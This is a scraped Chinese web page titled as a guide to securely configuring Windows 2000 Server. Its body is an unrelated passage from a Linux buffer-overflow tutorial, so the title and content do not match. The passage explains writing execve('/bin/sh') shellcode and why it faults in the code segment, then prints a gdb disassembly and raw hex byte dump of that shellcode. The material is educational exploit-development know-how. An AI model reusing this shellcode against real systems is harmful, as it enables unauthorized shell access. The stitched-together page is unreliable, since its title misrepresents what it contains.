精解——安全配置 Windows 2000服务器

来源:网络 作者:admin 阅读: 字体:[ ] [打印] [关闭]
自定义标签 wzsp 未创建

内容提要:一、定制自己的WIN2000 SERVER:     1.版本的选择:Win2000有各种语言的版本,对于我们来说,可以选择英文版或简体中文版,我强烈建议:在语言不成为障碍的情况下,请一定使用英文版。要知道,微软的产品是以Bu ……

字符串地址保存在字符串"/bin/sh"之后的机器字中,然后又在字符串"/bin/sh"的结尾补了个''\\0'',最后将0写入内存中合适的位置。第9行至第12行按图13所示正确设置好了寄存器eax、ebx、ecx和edx的值,在第13行就可以调用execve(2)了。但是在编译shellcodeasm.c之后,你会发现程序无法运行。原因就在于图13中所示的所有数据都存放在代码段中,而在Linux下存放代码的页面是不可写的,于是当我们试图使用图12中第6行的mov指令进行写操作时,页面异常处理程序会向运行我们程序的进程发送一个SIGSEGV信号,这样我们的终端上便会出现Segmentation fault的提示信息。


图13调用execve(2)之前各寄存器的设置

解决的办法很简单,既然不能对代码段进行写操作,我们就把图12中的代码挪到可写的数据段或堆栈段中。可是一段可执行的代码在数据段中应该怎么表示呢?其实,内存中存放着的无非是0和1这样的比特,当我们的程序将其用作代码时这些比特就成了代码,而当我们的程序将其用作数据时这些比特又成了数据。我们先来看一下图12中的代码在内存中是如何存放的,通过gdb中的x命令可以很容易的做到这一点,如图14所示。

$ gdb shellcodeasm(gdb) disassemble mainDump of assembler code for function main:0x80482c4 <main>:       push   %ebp0x80482c5 <main+1>:     mov    %esp,%ebp0x80482c7 <main+3>:     jmp    0x80482f3 <main+47>0x80482c9 <main+5>:     pop    %esi0x80482ca <main+6>:     mov    %esi,0x8(%esi)0x80482cd <main+9>:     movb   $0x0,0x7(%esi)0x80482d1 <main+13>:    movl   $0x0,0xc(%esi)0x80482d8 <main+20>:    mov    $0xb,%eax0x80482dd <main+25>:    mov    %esi,%ebx0x80482df <main+27>:    lea    0x8(%esi),%ecx0x80482e2 <main+30>:    lea    0xc(%esi),%edx0x80482e5 <main+33>:    int    $0x800x80482e7 <main+35>:    mov    $0x1,%eax0x80482ec <main+40>:    mov    $0x0,%ebx0x80482f1 <main+45>:    int    $0x800x80482f3 <main+47>:    call   0x80482c9 <main+5>0x80482f8 <main+52>:    das0x80482f9 <main+53>:    bound  %ebp,0x6e(%ecx)0x80482fc <main+56>:    das0x80482fd <main+57>:    jae    0x80483670x80482ff <main+59>:    add    %cl,%cl0x8048301 <main+61>:    ret0x8048302 <main+62>:    mov    %esi,%esiEnd of assembler dump.(gdb) x /49xb 0x80482c70x80482c7 <main+3>:0xeb 0x2a 0x5e 0x89 0x76 0x08 0xc6 0x460x80482cf <main+11>:0x07 0x00 0xc7 0x46 0x0c 0x00 0x00 0x000x80482d7 <main+19>:0x00 0xb8 0x0b 0x00 0x00 0x00 0x89 0xf30x80482df <main+27>:0x8d 0x4e 0x08 0x8d 0x56 0x0c 0xcd 0x800x80482e7 <main+35>:0xb8 0x01 0x00 0x00 0x00 0xbb 0x00 0x000x80482ef <main+43>:0x00 0x00 0xcd 0x80 0xe8 0xd1 0xff 0xff0x80482f7 <main+51>:0xff

上一页12345678910下一页
[标签: 精解——安全配置, Windows, 2000服务器] [打印] [关闭]
站长评论(0) 查看所有评论
相关新闻

热门新闻

推荐新闻